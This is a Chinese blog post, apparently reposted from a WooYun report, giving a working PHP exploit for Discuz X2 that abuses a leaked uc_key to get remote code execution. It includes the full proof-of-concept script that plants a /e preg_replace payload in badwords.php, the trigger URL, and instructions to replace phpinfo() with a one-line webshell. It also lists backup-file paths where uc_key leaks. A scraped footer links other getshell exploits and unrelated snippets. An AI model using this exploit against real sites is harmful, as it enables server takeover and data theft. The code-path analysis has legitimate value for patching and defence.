来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137991.html

先通过uc_key把恶意代码保存在/uc_client/data/cache/badwords.php,然后利用preg_replace() 进行任意代码执行。

先附上来源中的脚本。修改了一些代码。

<?php
$timestamp = time()+10*3600;
$host="ip地址";
$agent= md5("Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0");
$uc_key="网站的uc_key";
$code=urlencode(_authcode("agent=$agent&time=$timestamp&action=updatebadwords", 'ENCODE', $uc_key));
$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="0">
<item id="findpattern">/(.*)/e</item>
<item id="replacement">phpinfo();</item>
</item>
</root>';
$html1 = send($cmd1);
echo $html1;
function send($cmd){
global $host,$code;
$message = "POST /Discuz_X2/api/uc.php?code=".$code." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>

  

整个poc应该要修改的地方有四处:

$host,$uc_key,<item id="replacement">phpinfo();</item>, $message = "POST /Discuz_X2/api/uc.php?code=".$code." HTTP/1.1\r\n";

第一处是网站的地址:填ip或者域名都行,第二个是获取到的uc_key,一般都是管理员才能看到,第三个就是phpinfo(); ,修改成一句话的脚本,第四个就是网站的目录,可能放在二级目录下。

看了下poc,就是构造一个code和xml数据,然后发送到/api/uc.php,跟一下这个php文件

	$code = @$_GET['code'];
parse_str(authcode($code, 'DECODE', UC_KEY), $get);

  可以看到对$code进行解密,并且用parse_str()函数把参数解析注册成变量。

	$post = xml_unserialize(file_get_contents('php://input'));

  读取post的内容,并用xml_unserialize()解析内容

看到这里,$action=updatebadwords,下面还有个段代码echo $uc_note->$get['action']($get, $post); ,执行了updatebadwords()函数,上面有if判断了$get['action']的值,所以不能造成代码执行。

	function updatebadwords($get, $post) {
global $_G; if(!API_UPDATEBADWORDS) {
return API_RETURN_FORBIDDEN;
} $data = array();
if(is_array($post)) {
foreach($post as $k => $v) {
$data['findpattern'][$k] = $v['findpattern'];
$data['replace'][$k] = $v['replacement'];
}
}
$cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php';
$fp = fopen($cachefile, 'w');
$s = "<?php\r\n";
$s .= '$_CACHE[\'badwords\'] = '.var_export($data, TRUE).";\r\n";
fwrite($fp, $s);
fclose($fp);

  循环出post的数据,并把findpattern  replacement两个的值赋给$data,然后写入/uc_client/data/cache/badwords.php文件

把数据存进去了,那要把数据取出来才行,来看看哪里可以取。

根据文章的内容,触发点是:/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=dddd

根据discuz的mvc框架,调用了/source/module/forum/forum_ajax.php

if($_G['gp_action'] == 'checkusername') {

	$username = trim($_G['gp_username']);
$usernamelen = dstrlen($username);
if($usernamelen < 3) {
showmessage('profile_username_tooshort', '', array(), array('handle' => false));
} elseif($usernamelen > 15) {
showmessage('profile_username_toolong', '', array(), array('handle' => false));
} loaducenter();
$ucresult = uc_user_checkname($username);

  调用了uc_user_checkname()函数

function uc_user_checkname($username) {
return call_user_func(UC_API_FUNC, 'user', 'check_username', array('username'=>$username));
}

  UC_API_FUNC默认是调用uc_api_mysql

define('UC_API_FUNC', UC_CONNECT == 'mysql' ? 'uc_api_mysql' : 'uc_api_post');

  

所以调用了uc_api_mysql('user', 'check_username', array('username'=>$username))

function uc_api_mysql($model, $action, $args=array()) {
global $uc_controls;
if(empty($uc_controls[$model])) {
include_once UC_ROOT.'./lib/db.class.php';
include_once UC_ROOT.'./model/base.php';
include_once UC_ROOT."./control/$model.php";
eval("\$uc_controls['$model'] = new {$model}control();");
}
if($action{0} != '_') {
$args = uc_addslashes($args, 1, TRUE);
$action = 'on'.$action;
$uc_controls[$model]->input = $args;
return $uc_controls[$model]->$action($args);
} else {
return '';
}
}

  

可以看到$action重组成oncheck_username,并调用oncheck_username()

跟进oncheck_username()函数, 位于/uc_client/control/user.php 调用了_check_username()函数。

	function _check_username($username) {
$username = addslashes(trim(stripslashes($username)));
if(!$_ENV['user']->check_username($username)) {
return UC_USER_CHECK_USERNAME_FAILED;
} elseif(!$_ENV['user']->check_usernamecensor($username)) {
return UC_USER_USERNAME_BADWORD;
} elseif($_ENV['user']->check_usernameexists($username)) {
return UC_USER_USERNAME_EXISTS;
}
return 1;
}

  

跟到check_usernamecensor() 函数中

	function check_usernamecensor($username) {
$_CACHE['badwords'] = $this->base->cache('badwords');
$censorusername = $this->base->get_setting('censorusername');
$censorusername = $censorusername['censorusername'];
$censorexp = '/^('.str_replace(array('\\*', "\r\n", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i';
$usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $username;
if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) {
return FALSE;
} else {
return TRUE;
}
}

  获取badwords的内容,并且把他存入数组$_CACHE['badwords']

然后有这么一句:@preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username)

刚好就是我们第一步修改的地方,也就是我们可控的,所以造成了代码执行。

运行poc后在访问如下页面,就能执行代码了。

/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=dddd

要小心uc_key的泄露,有这么几种方式,

/config/config_ucenter.php.bak

/uc_server/data/cache/apps.php.bak

还有就是管理员弱口令登录到后台拿到uc_key。

Discuz利用UC_KEY进行前台getshell的更多相关文章

  1. discuz 6.1.0F前台getshell(据说通用6.x , 7.x)

    EXP: 执行phpinfo()语句: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replac ...

  2. 利用Thinkphp 5缓存漏洞实现前台Getshell

    0×00 背景 网站为了实现加速访问,会将用户访问过的页面存入缓存来减小数据库查询的开销.而Thinkphp5框架的缓存漏洞使得在缓存中注入代码成为可能.(漏洞详情见参考资料) 本文将会详细讲解: 1 ...

  3. ShopEX 4.8.5.81822 前台Getshell

    ShopEX 4.8.5.81822 前台Getshell 作者:unhonker   发布:2014-06-23 00:12   分类:漏洞公布   被撸:8,179次   抢沙发     利用方式 ...

  4. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  5. phpcms v9 前台getshell脚本

    phpcms v9 前台getshell脚本 用法:python phpcmsv9getshell.py http://baidu.com # -*- coding:utf-8 -*- ''' --- ...

  6. PHP7CMS 无条件前台GETSHELL

    PHP7CMS 无条件前台GETSHELL Version:2018-10-09 //最新版中以修复此漏洞 这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的.   01 0 ...

  7. 看我是如何利用升级系统一键GetShell

    i春秋作家:小猪 原文来自:看我是如何利用升级系统一键GetShell 漏洞名称:看我是如何利用升级系统一键GetShell 程序下载地址:https://pan.baidu.com/s/1VdoPL ...

  8. Discuz!X 3.4 前台任意文件删除漏洞复现

    Discuz!X 3.4 前台任意文件删除漏洞复现 参考链接: http://www.freebuf.com/vuls/149904.html http://www.freebuf.com/artic ...

  9. PHPCMS9.6.0最新版SQL注入和前台GETSHELL漏洞分析 (实验新课)

    PHPCMS9.6.0最新版中,由于/modules/attachment/attachments.php的过滤函数的缺陷导致了可以绕过它的过滤机制形成SQL注入漏洞,可导致数据库中数据泄漏. 而且在 ...

随机推荐

  1. c# 实时监控数据库 SqlDependency

    http://blog.csdn.net/idays021/article/details/49661855 class Program { private static string _connSt ...

  2. 在Python中进行JSON转化

    序列化,指的是把内存中的变量(如类的实例)变成可存储或可传输的过程. JSON(JavaScript Object Notation, JavaScript对象表示)是网络传输中经常使用的一种数据形式 ...

  3. 忘记oracle的sys密码该如何重置;附如何修改oracle数据库用户密码

    参考博客:http://blog.itpub.net/26015009/viewspace-717505/ 这里只说一种方法:使用ORAPWD.EXE 工具修改密码 打开命令提示符窗口,输入如下命令: ...

  4. 听翁恺老师mooc笔记(7)--字符串1

    C语言中字符串的定义 如果定义一个字符数组word,并使用大括号对其初始化,如下图所示: 但是这个不是C语言的字符串,只是字符数组,不是字符串,因为不能使用字符串的方式进行计算.那么C语言的字符串长什 ...

  5. 总结随笔(Beta)

    听说 -- beta冲刺总结 beta冲刺成员名单 姓名 学号 负责方向 个人主页 周龙荣 031402543 前端页面.跳转 http://www.cnblogs.com/ZHOULR/ 李家鹏 0 ...

  6. C/C++生成随机数

    一.rand和srand   在C++11标准出来之前,C/C++都依赖于stdlib.h头文件的rand或者srand来生成随机数.   其不是真正的随机数,是一个伪随机数,是根据一个数(我们可以称 ...

  7. HTTP协议形象展现

    关于http协议:我们分成几个模块说: http协议: HTTP是一个属于应用层的面向对象的协议,由于其简捷.快速的方式,适用于分布式超媒体信息系统. HTTP协议的主要特点可概括如下: 1.支持客户 ...

  8. 从PRISM开始学WPF(二)Prism?

    目录: 从PRISM开始学WPF(一)WPF? 从PRISM开始学WPF(二)Prism? 从PRISM开始学WPF(三)Prism-Region? 从PRISM开始学WPF(四)Prism-Modu ...

  9. 关于读取Sql Server数据库时间前端处理问题

    var time = this.CreateTime; this.CreateTime = new Date(time.replace("T", " ")).F ...

  10. C# 启动 SQL Server 服务

    //首先要添加 System.ServiceProcess.dll 引用 ServiceController sc = new ServiceController("MSSQLSERVER& ...